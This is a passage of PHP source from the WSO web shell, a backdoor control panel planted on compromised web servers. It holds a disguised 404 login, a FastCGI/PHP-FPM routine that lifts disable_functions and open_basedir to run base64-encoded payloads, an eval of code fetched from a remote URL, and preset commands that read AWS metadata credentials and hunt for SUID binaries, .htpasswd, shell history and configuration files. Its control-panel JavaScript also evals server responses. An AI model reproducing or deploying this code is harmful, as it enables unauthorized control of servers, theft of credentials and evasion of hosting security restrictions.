";
$body = str_replace('/notexist' . $rand, $_SERVER['SCRIPT_NAME'], wsoGetFile('http://' . $_SERVER['HTTP_HOST'] . '/notexist' . $rand));
$body = stripos($body, '')?str_replace('', $auth_form, $body):$body.$auth_form;
header('HTTP/1.0 404 Not Found');
die(!empty($body)?$body:$auth_form);
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
function wsoBreadCrumps() {
$cwd_links = '';
$file_path = explode("/", $GLOBALS['cwd']);
$n = count($file_path);
for ($i = 0;$i < $n - 1;$i++) {
$cwd_file_path = '';
for ($j = 0;$j <= $i;$j++) {
$cwd_file_path.= $file_path[$j] . '/';
}
$cwd_links.= "<a style='color:" . wsoPermsColorOnly($cwd_file_path) . "' " . (wsoPermsColorOnly($cwd_file_path) == '#f18260' ? "" : "onclick=g('FilesMan','" . $cwd_file_path . "')") . ">" . $file_path[$i] . "/</a>";
}
$buttons = is_writable($GLOBALS['cwd']) ? '<span class=float-right>
<a href="#" id="mkdir">[ new dir ]</a>
<a href="#" id="mkfile">[ new file ]</a>
</span>' : '';
$filename = preg_match('/FilesTools/', @$_POST['a']) && @$_POST['p1'] ? htmlspecialchars(@basename($_POST['p1'])) : '';
$filename = $filename ? "<a href=javascript:g('FilesTools',null,'" . $filename . "','" . (is_writable($_POST['p1']) ? 'edit' : 'view') . "') style='color:" . wsoPermsColorOnly($_POST['p1']) . "' >" . $filename . "</a>" : '';
$console = " <input class='toolsInp hoverable' type=text name=path placeholder='[ change path/file ]' tabindex='0'>";
echo '
';
}
// todo: https://antichat.com/threads/470018/
function wsoUnChain($canary) {
// https://antichat.com/threads/473143/#post-4353235
function sendRequest($host, $port, $packet, $test_file) {
$body = '';
$headers = '';
$errno = '';
$errstr = '';
$timeout = 1;
if ($port > 0) $host = "tcp://${host}:${port}/";
else $host = "unix://${host}";
$connection = stream_socket_client($host, $errno, $errstr, $timeout);
if ($connection) {
stream_set_timeout($connection, 1);
fputs($connection, $packet);
while (!feof($connection)) {
$line = fgets($connection, 4096);
if ($line == "\r\n") break;
$headers.= $line;
}
while (!feof($connection)) $body.= fgets($connection, 4096);
fclose($connection);
if (preg_match('/Primary script unknown|Status: 404 Not Found/si', $headers)) {
return "<label title='".$headers."'>bypass failed: wrong target script: ".$test_file."</label>";
} else {
return "<label title='".$headers."'>Successful</label>";
}
} else {
return "Test failed: no connection:`(";
}
}
function initializeParams($id, $params = array()) {
$type = 4;
$data = "";
foreach ($params as $key => $value) {
$data.= pack("CN", strlen($key), (1 << 31) | strlen($value));
$data.= $key;
$data.= $value;
}
return to_s($id, $type, $data);
}
function to_s($id, $type, $data = "") {
$packet = sprintf("\x01%c%c%c%c%c%c\x00", $type, $id / 256, $id % 256, strlen($data) / 256, strlen($data) % 256, strlen($data) % 8);
$packet.= $data;
$packet.= str_repeat("\x00", (strlen($data) % 8));
return $packet;
}
function buildPacket($payload, $scriptFile) {
$payload = base64_encode($payload);
$packet = "";
$packet.= to_s(1, 1, "\x00\x01\x00\x00\x00\x00\x00\x00");
$packet.= initializeParams(1, array("REQUEST_METHOD" => "GET", "SERVER_PROTOCOL" => "HTTP/1.1", "GATEWAY_INTERFACE" => "CGI/1.1", "SERVER_NAME" => "localhost", "HTTP_HOST" => "localhost", "REMOTE_ADDR" => "127.0.0.1", "SCRIPT_FILENAME" => $scriptFile, "PHP_ADMIN_VALUE" => join("\n", ["allow_url_fopen=On", "allow_url_include=On", "disable_functions=Off", "open_basedir=Off", "short_open_tag=On", "auto_prepend_file=data:," . urlencode("=eval(base64_decode('${payload}'));") ])));
$packet.= to_s(1, 4);
$packet.= to_s(1, 5);
return $packet;
}
function findSocket() {
$connection = @fsockopen('127.0.0.1', 9000, $errno, $errstr, 3);
if (is_resource($connection)) {
fclose($connection);
$fpm_socket = '127.0.0.1';
$port = 9000;
} else {
$it = @glob("/tmp/php*.sock");
foreach ($it as $f) $fpm_socket = $f;
try {
$it = @glob("/var/run/php*.sock");
foreach ($it as $f) $fpm_socket = $f;
$it = @glob("/var/run/php-fpm/*.sock");
foreach ($it as $f) $fpm_socket = $f;
}
catch(Exception $e) {
}
$port = 0;
}
if (!isset($fpm_socket)) {
return false;
} else {
return array($fpm_socket, $port);
}
}
while ( !isset($test_file) ) {
$it = @glob(dirname(__FILE__)."/*.php");
foreach ($it as $f) $test_file = $f;
}
$fpm_socket = findSocket();
if (!$fpm_socket) {
return 'fail to locate socket ;(';
}
$result = sendRequest($fpm_socket[0], $fpm_socket[1], buildPacket($canary, $test_file), $test_file);
if (preg_match('/success/i', $result)) {
return $result;
} else {
return $result;
}
}
if (!empty($auth_pass)) {
if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
}
$os = (strtolower(substr(PHP_OS, 0, 3)) == "win")?'win':'nix';
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode) error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$open_base_dir = @ini_get('open_basedir');
if ( $disable_functions || $open_base_dir ) {
$chains_bypassed = wsoUnChain('$chains_bypassed=true;');
}
if( $disable_functions ) {
// define wsoExGently();
eval(wsoGetFile($wsoExGentlyUrl));
}
$home_cwd = @getcwd();
if (isset($_POST['c'])) @chdir($_POST['c']);
$cwd = @getcwd();
if ($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if ($cwd[strlen($cwd) - 1] != '/') $cwd.= '/';
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
if ($os == 'win') $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
else $aliases = array("Fetch AWS metadata" => "curl -Ss http://169.254.169.254/latest/meta-data/identity-credentials/", "List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
function wsoHeader() {
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
global $vt_key;
global $open_base_dir;
global $chains_bypassed;
echo "
<link href='//cdn.jsdelivr.net/npm/bootstrap/dist/css/bootstrap.min.css' rel='stylesheet'>
<script src='//cdn.jsdelivr.net/npm/jquery/dist/jquery.min.js'></script>
<script src='//cdn.jsdelivr.net/npm/bootstrap/dist/js/bootstrap.bundle.min.js'></script>
<meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'>
<title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Outfit&family=Teko:wght@300&display=swap');
:root {
--main-color: $color;
--text-green: #2bb24c;
--text-orange: #ffbd2f;
--text-red: #f18260;
// --text-red: #c41e25;
--text-muted: #888;
}
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a,a:hover{ color: var(--main-color); }
a { cursor: pointer; }
.text-red { color: var(--text-red); }
.text-green{ color: var(--text-green); }
span{ font-weight: bolder; }
h1{ border-left:5px solid var(--main-color);padding: 2px 5px;font: 20px 'Teko', sans-serif;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select,button{ margin:0;color:#fff;background-color:#555;border:1px solid var(--main-color); font: 12pt Monospace,'Courier New'; }
textarea{ width:100%; height:600px; font: 9pt Monospace,'Courier New'; }
.hoverable { border: 1px solid transparent; background: transparent; }
h1 .hoverable { padding: 2px 5px;font: 20px 'Teko', sans-serif; }
.hoverable:focus { border:1px solid var(--main-color);; }
form{ margin:0px; display: inline-block; }
#mkdir,#mkfile,#uploadfile { color:var(--main-color); width:150px; }
#uploadfile { width:75px; opacity:0; position:absolute; left:0; z-index:100; cursor:pointer; }
#uploadfileicon { position: relative; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
.file-actions { display:none; }
.touch-field { font: 9pt Lucida,Verdana; }
.float-right { float:right; }
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
var charset_ = 'UTF-8';
var p1_ = '" . ((strpos(@$_POST['p1'], "\n") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
var p2_ = '" . ((strpos(@$_POST['p2'], "\n") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
var p3_ = '" . ((strpos(@$_POST['p3'], "\n") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
var d = document;
function set(a,c,p1,p2,p3) {
self.mf.a.value=a||a_;
self.mf.c.value=c||c_;
self.mf.p1.value=p1||p1_;
self.mf.p2.value=p2||p2_;
self.mf.p3.value=p3||p3_;
}
function g(a,c,p1,p2,p3) {
set(a,c,p1,p2,p3);
console.log(a,c,p1,p2,p3);
self.mf.submit();
return false;
}
function a(a,c,p1,p2,p3) {
set(a,c,p1,p2,p3);
var params = 'ajax=true';
for(i=0;i<self.mf.elements.length;i++)
params += '&'+self.mf.elements[i].name+'='+encodeURIComponent(self.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
}
function sr(url, params) {
$.ajax({
type: 'POST',
url: url,
contentType: 'application/x-www-form-urlencoded; charset=utf-8',
data: params,
success: function (text) { text.split('\\n').map(function(a){/PhpOutput|strOutput|self\\.cf/.test(a)&&eval(a)}) },
error: function () { alert('Request error!') }
});
}
</script>